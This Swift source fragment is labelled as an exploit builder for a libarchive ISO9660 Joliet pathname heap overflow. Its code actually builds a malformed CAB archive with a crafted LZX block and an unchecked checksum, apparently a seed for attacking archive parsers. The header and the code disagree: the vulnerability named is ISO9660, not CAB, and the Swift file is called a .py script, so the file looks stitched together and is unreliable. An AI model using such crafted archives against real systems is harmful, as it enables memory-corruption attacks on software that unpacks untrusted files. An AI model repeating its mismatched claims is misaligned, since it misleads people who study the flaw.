// arc.iso · libarchive · build_pathname_utf16be · CVE-2026-112522
// ISO9660 Joliet pathname heap overflow
// Standalone builder: CVE-2026-112522.py
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}


// ── seed construction (from Cinder27 Sources: CABPayload) ──
enum CABPayload {
static func lzxEarlyMatch() -> Data {
        var out = Data()

        let cfdataPayload: [UInt8] = [
            // CFDATA header is written separately below; this is the LZX block itself.
            0x00, 0x00, 0x10,          // block header: verbatim, 0x0010 bytes
            0x1E,                      // main tree: single match-ish symbol stream
            0x00, 0x00,                // length footer
            0x00, 0x00, 0x00, 0x00,    // offset
        ]

        var cfdata = Data()
        cfdata.append(contentsOf: B.le32(0))                       // checksum (unchecked)
        cfdata.append(contentsOf: B.le16(UInt16(cfdataPayload.count)))
        cfdata.append(contentsOf: B.le16(0))                       // reserved
        cfdata.append(contentsOf: cfdataPayload)

        var file = Data()
        file.append(contentsOf: B.ascii("Cinder"))
        file.append(contentsOf: B.le32(0))                         // size
        file.append(contentsOf: B.le32(0))                         // offset in folder
        file.append(contentsOf: B.le16(0x20 | 0x01))               // attributes: archive
        file.append(contentsOf: [0x21, 0x26, 0x10, 0x5A])          // date/time
        file.append(contentsOf: [UInt8](repeating: 0x41, count: 8)) // name "AAAAAAAA"
        file.append(0)

        let headerSize = 36
        let folderSize = 8
        let fileSize = file.count
        let dataSize = cfdata.count
        let total = headerSize + folderSize + fileSize + dataSize

        out.append(contentsOf: B.ascii("MSCF"))
        out.append(contentsOf: B.le32(0))                          // reserved1
        out.append(contentsOf: B.le32(UInt32(total)))              // cabinet size
        out.append(contentsOf: B.le32(0))                          // reserved2
        out.append(contentsOf: B.le32(UInt32(headerSize)))         // file offset
        out.append(contentsOf: B.le32(0))                          // reserved3
        out.append(contentsOf: [3, 1])                             // version minor, major
        out.append(contentsOf: B.le16(1))                          // folder count
        out.append(contentsOf: B.le16(1))                          // file count
        out.append(contentsOf: B.le16(0))                          // flags
        out.append(contentsOf: B.le16(0x1234))                     // set id
        out.append(contentsOf: B.le16(0))                          // cabinet index

        // CFFOLDER
        out.append(contentsOf: B.le32(UInt32(headerSize + folderSize + fileSize)))  // data offset
        out.append(contentsOf: B.le16(1))                          // data block count
        out.append(contentsOf: B.le16(3))                          // compression type 3 = LZX
        out.append(contentsOf: [0x0F, 0x00])                       // window size (21 bits => 2MB)

        out.append(contentsOf: file)
        out.append(contentsOf: cfdata)
        return out
    }

}